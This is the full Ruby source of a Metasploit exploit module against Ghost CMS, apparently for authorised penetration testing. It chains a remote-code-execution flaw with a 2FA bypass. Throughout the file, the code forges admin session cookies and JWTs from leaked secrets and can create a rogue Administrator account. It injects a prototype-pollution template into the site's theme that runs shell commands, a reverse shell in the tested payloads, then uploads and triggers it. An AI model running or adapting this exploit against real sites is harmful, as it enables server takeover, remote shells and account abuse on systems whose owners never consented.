## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck VECTORS = { tag: { template_name: 'tag-{{SLUG}}.hbs', creator: :create_post, trigger: :get_tag, cleaner: :delete_post }, page: { template_name: 'page-{{SLUG}}.hbs', creator: :create_page, trigger: :get_page, cleaner: :delete_page }, author: { template_name: 'author-{{SLUG}}.hbs', creator: :pick_random_author, trigger: :get_author_by_slug, cleaner: nil } }.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Ghost CMS Remote Code Execution', 'Description' => %q{ This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. The affected versions include all releases from 0.7.2 up to and including 6.19.0. For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Cristian-Alexandru Staicu' # Vulnerability Discovery ], 'References' => [ ['CVE', '2026-29053'], ['CVE', '2026-22594'], ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x'] ], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Ghost >= 0.7.2, <= 6.19.0 / Unix payload', { 'Platform' => ['unix', 'linux'] # Tested with cmd/unix/reverse_bash # Tested with cmd/unix/reverse_nodejs } ], [ 'Ghost >= 0.7.2, <= 6.19.0 / Windows payload', { 'Platform' => ['windows'] # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-03-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']), OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']), OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']), OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']), OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']), OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']), OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']), OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']), OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']), OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']), OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]), OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']]) ] ) end def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json') headers = {} headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session headers['Origin'] = full_uri('', vhost_uri: true).chomp('/') request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data res = send_request_cgi({ 'method' => method, 'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint), 'headers' => headers, 'ctype' => ctype, 'vars_get' => params, 'data' => request_data, 'keep_cookies' => true }) if res.nil? print_error("Connection failed during #{method} to #{endpoint}") return nil end if res.code >= 400 json_body = res.get_json_document if json_body.is_a?(Hash) && json_body['errors'] error = json_body.dig('errors', 0) ctx = error.is_a?(Hash) ? error['context'] : nil print_error("Ghost Error (#{res.code}). #{ctx}") end end res end def create_post(title, slug, tags = nil) res = ghost_request_cgi('POST', 'posts/', data: { posts: [ { title: title, slug: slug, tags: tags, status: 'published', visibility: 'public' } ] }) res&.get_json_document&.dig('posts', 0, 'id') end def create_page(title, slug, *_args) res = ghost_request_cgi('POST', 'pages/', data: { pages: [ { title: title, slug: slug, status: 'published', visibility: 'public' } ] }) res&.get_json_document&.dig('pages', 0, 'id') end def create_rex_archive(binary_archive) zip = Rex::Zip::Archive.new Zip::File.open_buffer(binary_archive) do |z| z.each do |f| zip.entries << Rex::Zip::Entry.new( f.name, (f.ftype == :file ? z.read(f) : ''), Rex::Zip::CM_DEFLATE, nil, (Rex::Zip::EFA_ISDIR if f.ftype == :directory) ) end end zip end def download_theme(name) res = ghost_request_cgi('GET', "themes/#{name}/download/") res.body end def upload_theme(theme_name, zip_binary) mime = Rex::MIME::Message.new mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"") res = ghost_request_cgi('POST', 'themes/upload/', data: mime.to_s, ctype: "multipart/form-data; boundary=#{mime.bound}") fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res json_body = res.get_json_document errors = json_body.is_a?(Hash) ? json_body['errors'] : nil error_message = if errors.is_a?(Array) && !errors.empty? errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ') end unless res.code.between?(200, 299) && error_message.nil? message = "#{peer} - Theme upload failed (HTTP #{res.code})" message = "#{message}: #{error_message}" if error_message fail_with(Msf::Module::Failure::UnexpectedReply, message) end res end def get_malicious_template delay_seconds = datastore['DELAY'] delay_ms = delay_seconds * 1000 resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample filter = ['id', 'name', 'slug'].sample # prevents multiple concurrent executions using a global lock lock_var = Rex::Text.rand_text_alpha_lower(1..16) js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})" js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))" [ '{{!< default}}', "{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}", '{{/get}}' ].join("\n") end def delete_theme(name) res = ghost_request_cgi('DELETE', "themes/#{name}/") res&.code == 204 end def get_users(include: nil) params = {} params['include'] = include if include.present? res = ghost_request_cgi('GET', 'users/', params: params) res&.get_json_document&.dig('users') end def delete_post(post_id) res = ghost_request_cgi('DELETE', "posts/#{post_id}/") res&.code == 204 end def delete_page(page_id) res = ghost_request_cgi('DELETE', "pages/#{page_id}/") res&.code == 204 end def delete_invite(invite_id) res = ghost_request_cgi('DELETE', "invites/#{invite_id}/") res&.code == 204 end def check_existing_session if datastore['GHOST_API_ADMIN_SESSION'].present? print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...') @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s if get_config.present? return true else print_error('Session is invalid: Incorrect cookie or 2FA code is required.') end end @ghost_admin_api_session = nil false end def verify_totp_code unless datastore['TOTP_CODE'] =~ /^\d{6}$/ fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.') end if datastore['GHOST_API_ADMIN_SESSION'].blank? fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.') end print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...") @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s res_verify = ghost_request_cgi('PUT', 'session/verify', data: { token: datastore['TOTP_CODE'] }) if res_verify&.code == 200 || res_verify&.code == 201 print_good('2FA verification successful! Session established.') save_session_cookie(res_verify) return true elsif res_verify&.code == 401 print_error('2FA verification failed. The code entered is incorrect.') return false else print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}") return false end end def authenticate_with_password(email, password) print_status("Authenticating via session (user: #{email})...") json_data = { username: email, password: password } # CVE-2026-22594 Staff 2FA bypass if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5')) print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...") json_data[:skipEmailVerification] = true end res = ghost_request_cgi('POST', 'session', data: json_data) if res.nil? print_error('No response received from the server during login.') return false end case res.code when 200, 201 print_good('Session established via password successfully.') save_session_cookie(res) return true when 404 print_error('User not found or login endpoint does not exist.') return false else if res.body =~ /2FA_NEW_DEVICE_DETECTED/ save_session_cookie(res) print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).') fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.') end print_error("Login failed! Response code: #{res.code}") false end end def save_session_cookie(response) raw_cookies = response.get_cookies if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/ captured_cookie = Regexp.last_match(1) framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie @ghost_admin_api_session = captured_cookie end end def do_login(email, password) if check_existing_session print_good('Valid active session detected via cookie. Skipping authentication steps.') return true end if datastore['TOTP_CODE'].present? return verify_totp_code end authenticate_with_password(email, password) end def build_archive_from_directory(directory_path) archive = Rex::Zip::Archive.new Dir.glob(File.join(directory_path, '**', '*')).each do |path| relative_path = path.sub("#{directory_path}/", '') if File.file?(path) archive.add_file(relative_path, File.read(path)) elsif File.directory?(path) archive.add_file(relative_path, nil, recursive: true) end end archive end def get_active_theme res = ghost_request_cgi('GET', 'themes/active/') res&.get_json_document&.dig('themes', 0) end def prepare_base_theme if datastore['ACTION'] == 'API_KEY' print_status('Using local template theme for JWT-based attack...') theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme') build_archive_from_directory(theme_path) else active_theme = get_active_theme fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash) @default_theme = active_theme&.dig('name') fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil? print_status("Downloading active theme \"#{@default_theme}\" from server...") theme_data = download_theme(@default_theme) fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty? create_rex_archive(theme_data) end end def activate_theme(theme_name) res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/") res&.code == 200 end def inject_payload(base_archive, template_pattern, slug) target_filename = template_pattern.gsub('{{SLUG}}', slug) payload_content = get_malicious_template print_status("Injecting payload into: #{target_filename}") base_archive.add_file(target_filename, payload_content) base_archive.pack end def pick_random_author(*_args) users = get_users(include: 'count.posts') fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty? active_users = users.select do |user| post_count = user.dig('count', 'posts').to_i post_count >= 1 end active_users.sample['slug'] end def get_author_by_slug(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def get_page(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def get_tag(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def issue_jwt(key_id, secret) iat = Time.now.to_i payload = { iat: iat, exp: iat + 5 * 60, aud: '/admin/' } secret_bytes = [secret].pack('H*') Msf::Exploit::Remote::HTTP::JWT.encode( JSON.generate(payload), secret_bytes, 'HS256', { kid: key_id } ) end def get_roles res = ghost_request_cgi('GET', '/roles/') return nil unless res&.code == 200 res&.get_json_document&.dig('roles') end def invite_user(email, role_name) allowed_roles = %w[Administrator Editor Contributor Author] unless allowed_roles.include?(role_name) fail_with(Failure::BadConfig, "Invalid role: #{role_name}") end roles = get_roles role_id = roles.find { |role| role['name'] == role_name }['id'] res = ghost_request_cgi('POST', '/invites/', data: { invites: [ { role_id: role_id, email: email } ] }) unless res&.code == 201 fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}") end res&.get_json_document&.dig('invites', 0) end def activate_invite(token, name, email, password) res = ghost_request_cgi('POST', '/authentication/invitation/', data: { invitation: [ { name: name, email: email, password: password, token: token } ] }) res&.code == 200 end def handle_successful_activation(email, password) print_good("Account activated successfully: #{email} : #{password}") @account_created = true @invite_id = nil authenticate_with_password(email, password) end def auth_with_invite @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) email = datastore['EMAIL'] unless datastore['INVITE_LINK'].present? @invite_id = invite_user(email, 'Administrator')&.dig('id') print_warning("An invitation has been sent to #{email}.") print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.') fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK ", and run again.') end name = Faker::Name.unique.name pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true) token = URI.parse(datastore['INVITE_LINK']).path.split('/').last if activate_invite(token, name, email, pass) handle_successful_activation(email, pass) else fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.') end end def auth_with_jwt @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) @jwt_token.present? end def get_user_id(email) users = get_users return nil if users.nil? user = users.find { |user| user['email'] == email } user ? user['id'] : nil end def delete_user(email) user_id = get_user_id(email) return false unless user_id res = ghost_request_cgi('DELETE', "users/#{user_id}/") res && res.code == 200 end def get_config res = ghost_request_cgi('GET', 'config/') res&.get_json_document&.dig('config') end def sign_ghost_admin_session(secret, session_id) hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id) signature = Base64.strict_encode64(hmac).gsub(/=+$/, '') raw_cookie = "s:#{session_id}.#{signature}" Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase) end def auth action = datastore['ACTION'] required_params = case action when 'PASSWORD' then ['EMAIL', 'PASSWORD'] when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET'] when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET'] when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID'] when 'COOKIE' then ['GHOST_API_ADMIN_SESSION'] when nil, '' fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE') else fail_with(Failure::BadConfig, "Invalid ACTION: #{action}") end missing = required_params.select { |p| datastore[p].blank? } if missing.any? fail_with(Failure::BadConfig, "Authentication via \"#{action}\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})") end auth_success = case action when 'PASSWORD' do_login(datastore['EMAIL'], datastore['PASSWORD']) when 'API_KEY' print_status('Authenticating via Pure API Key (JWT generation)...') auth_with_jwt when 'INVITE' print_status('Authenticating via Invitation Flow...') auth_with_invite when 'SESSION_SECRET' print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...") @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID']) !get_config.nil? when 'COOKIE' print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...') @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'] !get_config.nil? end if auth_success print_good('Authentication successful!') else fail_with(Failure::NoAccess, "Authentication failed for ACTION \"#{action}\": Unable to establish a session. Verify your credentials/tokens.") end end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 html = res&.get_html_document ghost_tag = html.at('meta[name="generator"][content^="Ghost"]') raw_content = ghost_tag&.[]('content') return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag # keep only digits and dots @version = Rex::Version.new(raw_content.gsub(/[^\d.]/, '')) return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0')) CheckCode::Safe("Detected version #{@version}, which is not vulnerable") end def cleanup super if @default_theme && @malicious_theme_name print_status('Reverting to default theme...') activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}") print_status('Removing malicious theme...') delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}") end if @content_id && @vector && @vector[:cleaner] print_status('Removing content...') send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}") end if @invite_id && datastore['INVITE_LINK'].present? print_status('Removing invitation...') delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation') end if @account_created print_status('Removing temporary account...') auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return) delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account') end end def exploit auth @vector_key = VECTORS.keys.sample @vector = VECTORS[@vector_key] if @vector_key == :author @trigger_slug = send(@vector[:creator]) else @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16) @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug]) end @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16) base_archive = prepare_base_theme if base_archive.nil? fail_with(Failure::BadConfig, 'Base archive could not be initialized') end infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug) print_status("Uploading infected theme: #{@malicious_theme_name}") upload_theme(@malicious_theme_name, infected_zip) activate_theme(@malicious_theme_name) print_status('Triggering payload...') send(@vector[:trigger], @trigger_slug) end end